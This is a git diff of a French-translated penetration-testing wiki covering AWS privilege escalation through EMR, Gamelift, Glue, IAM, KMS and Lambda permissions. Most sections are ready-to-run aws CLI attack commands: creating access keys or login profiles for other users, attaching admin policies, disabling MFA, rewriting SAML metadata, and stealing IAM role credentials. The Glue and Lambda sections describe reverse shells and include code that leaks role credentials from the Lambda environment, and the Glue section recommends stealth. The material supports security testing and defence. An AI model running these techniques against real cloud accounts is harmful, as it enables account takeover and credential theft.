au rôle IAM. - -**Impact potentiel :** Privesc au rôle géré par AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -### `elasticmapreduce:OpenEditorInConsole` - -Juste avec cette autorisation, un attaquant pourra accéder au **Jupyter Notebook et voler le rôle IAM** qui lui est associé.\ -L'URL du notebook est `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` - -> [!CAUTION] -> Même si vous attachez un rôle IAM à l'instance de notebook, dans mes tests, j'ai remarqué que j'étais capable de voler des identifiants gérés par AWS et non des identifiants liés au rôle IAM. - -**Impact potentiel :** Privesc au rôle géré par AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md new file mode 100644 index 000000000..60b2fea13 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md @@ -0,0 +1,62 @@ +# AWS - EMR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EMR + +Plus d'**infos sur EMR** dans: + +{{#ref}} +../../aws-services/aws-emr-enum.md +{{#endref}} + +### `iam:PassRole`, `elasticmapreduce:RunJobFlow` + +Un attaquant disposant de ces permissions peut **exécuter un nouveau cluster EMR en attachant des rôles EC2** et tenter de voler ses identifiants.\ +Notez que pour cela vous auriez besoin de **know some ssh priv key imported in the account** ou d'en importer une, et d'être capable de **open port 22 in the master node** (vous pourriez être capable de le faire avec les attributs `EmrManagedMasterSecurityGroup` et/ou `ServiceAccessSecurityGroup` dans `--ec2-attributes`). +```bash +# Import EC2 ssh key (you will need extra permissions for this) +ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" +chmod 400 /tmp/sshkey +base64 /tmp/sshkey.pub > /tmp/pub.key +aws ec2 import-key-pair \ +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key + + +aws emr create-cluster \ +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc + +# Wait 1min and connect via ssh to an EC2 instance of the cluster) +aws emr describe-cluster --cluster-id +# In MasterPublicDnsName you can find the DNS to connect to the master instance +## You cna also get this info listing EC2 instances +``` +Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. + +**Impact potentiel :** Privesc vers le EC2 service role spécifié. + +### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` + +Avec ces permissions, un attaquant peut aller sur la **AWS console**, créer un Notebook et y accéder pour voler le IAM Role. + +> [!CAUTION] +> Même si vous attachez un IAM role à l'instance du notebook, lors de mes tests j'ai remarqué que j'ai pu voler des credentials gérés par AWS et non des creds liés à l'IAM role. + +**Impact potentiel :** Privesc vers le AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +### `elasticmapreduce:OpenEditorInConsole` + +Rien que avec cette permission, un attaquant pourra accéder au **Jupyter Notebook et voler le IAM role** qui lui est associé. +L'URL du notebook est `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` + +> [!CAUTION] +> Même si vous attachez un IAM role à l'instance du notebook, lors de mes tests j'ai remarqué que j'ai pu voler des credentials gérés par AWS et non des creds liés à l'IAM role. + +**Impact potentiel :** Privesc vers le AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md deleted file mode 100644 index a4d0fa160..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - Gamelift - -{{#include ../../../banners/hacktricks-training.md}} - -### `gamelift:RequestUploadCredentials` - -Avec cette autorisation, un attaquant peut récupérer un **nouveau jeu de credentials à utiliser lors du téléchargement** d'un nouvel ensemble de fichiers de construction de jeu vers Amazon GameLift's Amazon S3. Cela renverra **des credentials de téléchargement S3**. -```bash -aws gamelift request-upload-credentials \ ---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 -``` -## Références - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md new file mode 100644 index 000000000..3d083da19 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md @@ -0,0 +1,16 @@ +# AWS - Gamelift + +{{#include ../../../../banners/hacktricks-training.md}} + +### `gamelift:RequestUploadCredentials` + +Avec cette permission, un attaquant peut récupérer **un ensemble récent de credentials à utiliser pour l'upload** d'un nouvel ensemble de fichiers de build de jeu vers Amazon GameLift's Amazon S3. Cela renverra **S3 upload credentials**. +```bash +aws gamelift request-upload-credentials \ +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +``` +## Références + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md similarity index 55% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md index 52d938869..62dcfd206 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md @@ -1,14 +1,14 @@ # AWS - Glue Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## glue ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Les utilisateurs disposant de ces autorisations peuvent **configurer un nouveau point de terminaison de développement AWS Glue**, **en assignant un rôle de service existant pouvant être assumé par Glue** avec des autorisations spécifiques à ce point de terminaison. +Les utilisateurs disposant de ces autorisations peuvent **mettre en place un nouvel endpoint de développement AWS Glue**, **attribuer à cet endpoint un rôle de service existant assumable par Glue** avec des autorisations spécifiques. -Après la configuration, l'**attaquant peut se connecter en SSH à l'instance du point de terminaison**, et voler les identifiants IAM du rôle assigné : +Après la configuration, **l'attaquant peut se connecter en SSH à l'instance de l'endpoint**, et voler les identifiants IAM du rôle assigné: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ @@ -24,11 +24,11 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` Pour des raisons de discrétion, il est recommandé d'utiliser les identifiants IAM depuis l'intérieur de la machine virtuelle Glue. -**Impact potentiel :** Privesc au rôle de service Glue spécifié. +**Potential Impact:** Privesc to the glue service role specified. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Les utilisateurs ayant cette permission peuvent **modifier la clé SSH d'un** point de terminaison de développement Glue existant, **permettant l'accès SSH à celui-ci**. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison : +Les utilisateurs disposant de cette permission peuvent **modifier la clé SSH d'un endpoint de développement Glue existant**, **permettant l'accès SSH à celui-ci**. Cela permet à un attaquant d'exécuter des commandes avec les privilèges du rôle attaché à l'endpoint : ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**Impact potentiel :** Privesc au rôle de service glue utilisé. +**Potential Impact:** Privesc sur le rôle de service glue utilisé. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Les utilisateurs avec **`iam:PassRole`** combiné avec soit **`glue:CreateJob` ou `glue:UpdateJob`**, et soit **`glue:StartJobRun` ou `glue:CreateTrigger`** peuvent **créer ou mettre à jour un job AWS Glue**, en attachant n'importe quel **compte de service Glue**, et initier l'exécution du job. Les capacités du job incluent l'exécution de code Python arbitraire, qui peut être exploité pour établir un shell inversé. Ce shell inversé peut ensuite être utilisé pour exfiltrer les **identifiants IAM** du rôle attaché au job Glue, conduisant à un accès ou des actions non autorisées basées sur les permissions de ce rôle : +Les utilisateurs disposant de **`iam:PassRole`** combiné avec soit **`glue:CreateJob` or `glue:UpdateJob`**, et soit **`glue:StartJobRun` or `glue:CreateTrigger`**, peuvent **créer ou mettre à jour un AWS Glue job**, y attacher n'importe quel **Glue service account**, et lancer l'exécution du job. Les capacités du job incluent l'exécution de code Python arbitraire, qui peut être exploité pour établir un reverse shell. Ce reverse shell peut ensuite être utilisé pour exfiltrer les **IAM credential**s du rôle attaché au job Glue, conduisant à un accès non autorisé potentiel ou à des actions basées sur les permissions de ce rôle: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**Impact potentiel :** Privesc au rôle de service glue spécifié. +**Impact potentiel :** Privesc sur le rôle de service glue spécifié. ### `glue:UpdateJob` -Avec simplement la permission de mise à jour, un attaquant pourrait voler les identifiants IAM du rôle déjà attaché. +Avec seulement l'autorisation update, un attaquant pourrait voler les IAM Credentials du rôle déjà attaché. -**Impact potentiel :** Privesc au rôle de service glue attaché. +**Impact potentiel :** Privesc sur le rôle de service glue attaché. ## Références - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 16572120e..b002635e9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -1,41 +1,41 @@ # AWS - IAM Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## IAM Pour plus d'informations sur IAM, consultez : {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### **`iam:CreatePolicyVersion`** -Accorde la possibilité de créer une nouvelle version de politique IAM, contournant la nécessité de la permission `iam:SetDefaultPolicyVersion` en utilisant le drapeau `--set-as-default`. Cela permet de définir des permissions personnalisées. +Accorde la capacité de créer une nouvelle IAM policy version, contournant le besoin de la permission `iam:SetDefaultPolicyVersion` en utilisant le flag `--set-as-default`. Cela permet de définir des permissions personnalisées. **Commande d'exploitation :** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impact :** Élévation directe des privilèges en permettant toute action sur n'importe quelle ressource. +**Impact :** Escalade directement les privilèges en autorisant toute action sur n'importe quelle ressource. ### **`iam:SetDefaultPolicyVersion`** -Permet de changer la version par défaut d'une politique IAM pour une autre version existante, ce qui peut potentiellement élever les privilèges si la nouvelle version a plus de permissions. +Permet de changer la version par défaut d'une IAM policy vers une autre version existante, ce qui peut entraîner une élévation des privilèges si la nouvelle version dispose de plus d'autorisations. -**Bash Command :** +**Commande Bash :** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impact :** Escalade de privilèges indirecte en permettant plus de permissions. +**Impact :** Escalade de privilèges indirecte en autorisant davantage de permissions. ### **`iam:CreateAccessKey`** -Permet de créer un identifiant de clé d'accès et une clé d'accès secrète pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges potentielle. +Permet de créer un access key ID et un secret access key pour un autre utilisateur, pouvant conduire à une escalade de privilèges. -**Exploit :** +**Exploit:** ```bash aws iam create-access-key --user-name ``` @@ -43,67 +43,67 @@ aws iam create-access-key --user-name ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permet de créer ou de mettre à jour un profil de connexion, y compris la définition de mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe. +Permet de créer ou de mettre à jour un profil de connexion, y compris en définissant des mots de passe pour la connexion console AWS, ce qui permet une escalade de privilèges directe. -**Exploitation pour la création :** +**Exploit pour la création :** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploitation pour la mise à jour :** +**Exploit pour mise à jour:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impact :** Escalade de privilèges directe en se connectant en tant que "n'importe quel" utilisateur. +**Impact:** Escalade de privilèges directe en se connectant en tant que n'importe quel utilisateur. ### **`iam:UpdateAccessKey`** -Permet d'activer une clé d'accès désactivée, ce qui peut entraîner un accès non autorisé si l'attaquant possède la clé désactivée. +Permet d'activer une clé d'accès désactivée, pouvant conduire à un accès non autorisé si l'attaquant possède la clé désactivée. -**Exploit :** +**Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impact :** Escalade de privilèges directe en réactivant les clés d'accès. +**Impact :** Escalade de privilèges directe en réactivant des access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Permet de générer ou de réinitialiser des identifiants pour des services AWS spécifiques (par exemple, CodeCommit, Amazon Keyspaces), en héritant des autorisations de l'utilisateur associé. +Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), en héritant des permissions de l'utilisateur associé. -**Exploitation pour la création :** +**Exploit pour la création :** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**Exploitation pour Réinitialiser :** +**Exploit pour réinitialisation :** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impact :** Escalade de privilèges directe au sein des permissions de service de l'utilisateur. +**Impact :** Escalade de privilèges directe au sein des autorisations de service de l'utilisateur. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Permet d'attacher des politiques à des utilisateurs ou des groupes, escaladant directement les privilèges en héritant des permissions de la politique attachée. +Permet d'attacher des politiques aux utilisateurs ou aux groupes, escaladant directement les privilèges en héritant des permissions de la politique attachée. -**Exploitation pour l'utilisateur :** +**Exploit pour l'utilisateur :** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploitation pour le groupe :** +**Exploit pour le groupe :** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impact :** Escalade de privilèges directe vers tout ce que la politique accorde. +**Impact :** Élévation directe des privilèges à tout ce que la politique permet. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permet d'attacher ou de mettre des politiques à des rôles, utilisateurs ou groupes, permettant une escalade de privilèges directe en accordant des permissions supplémentaires. +Permet d'attacher ou d'ajouter des politiques à des rôles, utilisateurs ou groupes, autorisant une élévation directe des privilèges en accordant des permissions supplémentaires. -**Exploitation pour le rôle :** +**Exploit pour un rôle :** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Exploitation des politiques en ligne :** +**Exploit pour Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -127,28 +127,28 @@ Vous pouvez utiliser une politique comme : ] } ``` -**Impact :** Escalade de privilèges directe en ajoutant des permissions via des politiques. +**Impact:** Escalade directe de privilèges en ajoutant des permissions via des policies. ### **`iam:AddUserToGroup`** Permet de s'ajouter à un groupe IAM, escaladant les privilèges en héritant des permissions du groupe. -**Exploit :** +**Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impact :** Escalade de privilèges directe au niveau des permissions du groupe. +**Impact:** Direct privilege escalation au niveau des permissions du groupe. ### **`iam:UpdateAssumeRolePolicy`** -Permet de modifier le document de politique d'assumption de rôle d'un rôle, permettant l'assumption du rôle et de ses permissions associées. +Permet de modifier le assume role policy document d'un rôle, permettant l'assumption du rôle et l'obtention de ses permissions associées. -**Exploit :** +**Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle : +Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur l'autorisation d'assumer le rôle : ```json { "Version": "2012-10-17", @@ -163,38 +163,38 @@ Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la ] } ``` -**Impact :** Escalade de privilèges directe en assumant les permissions de n'importe quel rôle. +**Impact :** Escalade directe des privilèges en assumant les permissions de n'importe quel rôle. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permet de télécharger une clé publique SSH pour s'authentifier à CodeCommit et de désactiver les dispositifs MFA, ce qui peut entraîner une escalade de privilèges indirecte. +Permet de téléverser une clé publique SSH pour s'authentifier auprès de CodeCommit et de désactiver des dispositifs MFA, conduisant à une possible escalade indirecte des privilèges. -**Exploitation pour le téléchargement de la clé SSH :** +**Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploitation pour la désactivation de MFA :** +**Exploit pour MFA Deactivation:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Impact :** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA. +**Impact :** Élévation de privilèges indirecte en autorisant l'accès à CodeCommit ou en désactivant la protection MFA. ### **`iam:ResyncMFADevice`** -Permet la resynchronisation d'un appareil MFA, ce qui peut entraîner une escalade de privilèges indirecte en manipulant la protection MFA. +Permet la resynchronisation d'un dispositif MFA, pouvant conduire à une élévation de privilèges indirecte en manipulant la protection MFA. -**Bash Command :** +**Commande Bash :** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact :** Escalade de privilèges indirecte en ajoutant ou en manipulant des dispositifs MFA. +**Impact :** Escalade de privilèges indirecte en ajoutant ou en manipulant des appareils MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **vous connecter** avec n'importe quel **rôle qui lui fait confiance**. +Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **SAML federation** pour **login** avec n'importe quel **role qui lui fait confiance**. -Notez qu'en faisant cela, **les utilisateurs légitimes ne pourront pas se connecter**. Cependant, vous pourriez obtenir le XML, afin de pouvoir mettre le vôtre, vous connecter et configurer le précédent. +Notez que si vous faites cela, **les utilisateurs légitimes ne pourront pas se connecter**. Cependant, vous pouvez récupérer le XML, y mettre le vôtre, vous connecter et remettre la configuration précédente. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO : Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié +> TODO: Un outil capable de générer les métadonnées SAML et de login avec un rôle spécifié ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Si ce n'est pas sûr) Si un attaquant a ces **permissions**, il pourrait ajouter une nouvelle **empreinte digitale** pour réussir à se connecter à tous les rôles faisant confiance au fournisseur. +(Incertain à ce sujet) Si un attaquant dispose de ces **autorisations**, il pourrait ajouter un nouveau **Thumbprint** pour réussir à login dans tous les rôles faisant confiance au fournisseur. ```bash # List providers aws iam list-open-id-connect-providers @@ -224,8 +224,12 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` +### `iam:PutUserPermissionsBoundary` + +Cette autorisation permet à un attaquant de mettre à jour le permissions boundary d'un utilisateur, pouvant ainsi escalader ses privilèges en lui permettant d'effectuer des actions normalement restreintes par ses autorisations existantes. + ## Références - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md similarity index 58% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md index 0652711af..4be9ac966 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md @@ -1,13 +1,13 @@ # AWS - KMS Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## KMS Pour plus d'informations sur KMS, consultez : {{#ref}} -../aws-services/aws-kms-enum.md +../../aws-services/aws-kms-enum.md {{#endref}} ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) @@ -49,7 +49,7 @@ policy.json: ``` ### `kms:CreateGrant` -Il **permet à un principal d'utiliser une clé KMS :** +Cela **permet à un principal d'utiliser une clé KMS :** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ @@ -57,12 +57,12 @@ aws kms create-grant \ --operations Decrypt ``` > [!WARNING] -> Un grant ne peut autoriser que certains types d'opérations : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - +> Un grant ne peut autoriser que certains types d'opérations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + > [!WARNING] -> Notez qu'il peut falloir quelques minutes pour que KMS **permette à l'utilisateur d'utiliser la clé après que le grant a été généré**. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.\ -> Cependant, s'il est nécessaire d'utiliser le grant immédiatement [utilisez un token de grant](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (voir le code suivant).\ -> Pour [**plus d'infos, lisez ceci**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). +> Notez qu'il peut s'écouler quelques minutes avant que KMS n'autorise l'utilisateur à utiliser la clé après que le grant a été généré. Une fois ce délai écoulé, le principal peut utiliser la KMS key sans avoir besoin de spécifier quoi que ce soit.\ +> Cependant, si vous avez besoin d'utiliser le grant immédiatement [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (vérifiez le code suivant).\ +> Pour [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ @@ -70,15 +70,15 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -Notez qu'il est possible de lister les autorisations des clés avec : +Remarque : il est possible de lister les grants des keys avec : ```bash aws kms list-grants --key-id ``` ### `kms:CreateKey`, `kms:ReplicateKey` -Avec ces autorisations, il est possible de répliquer une clé KMS activée pour plusieurs régions dans une autre région avec une politique différente. +Avec ces permissions, il est possible de répliquer une clé KMS multi-région activée dans une région différente avec une stratégie différente. -Ainsi, un attaquant pourrait en abuser pour obtenir un privesc de son accès à la clé et l'utiliser. +Ainsi, un attaquant pourrait abuser de cela pour obtenir privesc sur l'accès à la clé et l'utiliser ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml @@ -100,11 +100,11 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re ``` ### `kms:Decrypt` -Cette permission permet d'utiliser une clé pour déchiffrer des informations.\ +Cette permission permet d'utiliser une clé pour déchiffrer certaines informations.\ Pour plus d'informations, consultez : {{#ref}} -../aws-post-exploitation/aws-kms-post-exploitation.md +../../aws-post-exploitation/aws-kms-post-exploitation/README.md {{#endref}} -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md index 32ba6854c..43b8dbc72 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md @@ -1,20 +1,20 @@ # AWS - Lambda Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## lambda Plus d'infos sur lambda dans : {{#ref}} -../aws-services/aws-lambda-enum.md +../../aws-services/aws-lambda-enum.md {{#endref}} ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Les utilisateurs disposant des permissions **`iam:PassRole`, `lambda:CreateFunction` et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\ -Ils peuvent **créer une nouvelle Lambda function et lui attribuer un IAM role existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et uploader du code dans cette Lambda function (par exemple avec un rev shell)**.\ -Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la Lambda function via l'AWS API. Cette approche permet effectivement à l'utilisateur d'exécuter des tâches indirectement via la Lambda function, en opérant avec le niveau d'accès accordé à l'IAM role qui y est associé.\\ +Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ +Ils peuvent **créer une nouvelle fonction Lambda et lui assigner un rôle IAM existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et téléverser du code dans cette fonction Lambda (par exemple une rev shell)**.\ +Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la fonction Lambda via l'AWS API. Cette approche permet effectivement à l'utilisateur d'exécuter des tâches indirectement via la fonction Lambda, en opérant avec le niveau d'accès accordé au rôle IAM qui lui est associé.\\ Un attaquant pourrait abuser de cela pour obtenir une **rev shell et voler le token**: ```python:rev.py @@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` -Vous pouvez également **abuse the lambda role permissions** depuis la lambda function elle-même.\ -Si le lambda role avait suffisamment de permissions, vous pourriez l'utiliser pour vous accorder des admin rights : +Vous pouvez aussi **abuser des permissions du rôle lambda** depuis la fonction lambda elle-même.\ +Si le rôle lambda dispose de permissions suffisantes, vous pourriez l'utiliser pour vous accorder des droits d'admin : ```python import boto3 def lambda_handler(event, context): @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Il est aussi possible de leak les identifiants du rôle de la lambda sans nécessiter de connexion externe. Cela serait utile pour **Network isolated Lambdas** utilisées pour des tâches internes. Si des security groups inconnus filtrent vos reverse shells, ce morceau de code va vous permettre de leak directement les identifiants en sortie de la lambda. +Il est également possible de leak les identifiants du rôle du lambda sans avoir besoin d'une connexion externe. Cela peut être utile pour les **Network isolated Lambdas** utilisées pour des tâches internes. Si des security groups inconnus filtrent vos reverse shells, ce morceau de code vous permettra de leak directement les identifiants en sortie de la lambda. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -72,10 +72,10 @@ return { aws lambda invoke --function-name output.txt cat output.txt ``` -**Impact potentiel :** Privesc direct vers le rôle de service lambda arbitraire spécifié. +**Impact potentiel :** Escalade directe (privesc) vers le rôle de service lambda arbitraire spécifié. > [!CAUTION] -> Notez que même si cela peut sembler intéressant **`lambda:InvokeAsync`** **n'autorise pas** à lui seul **l'exécution de `aws lambda invoke-async`**, 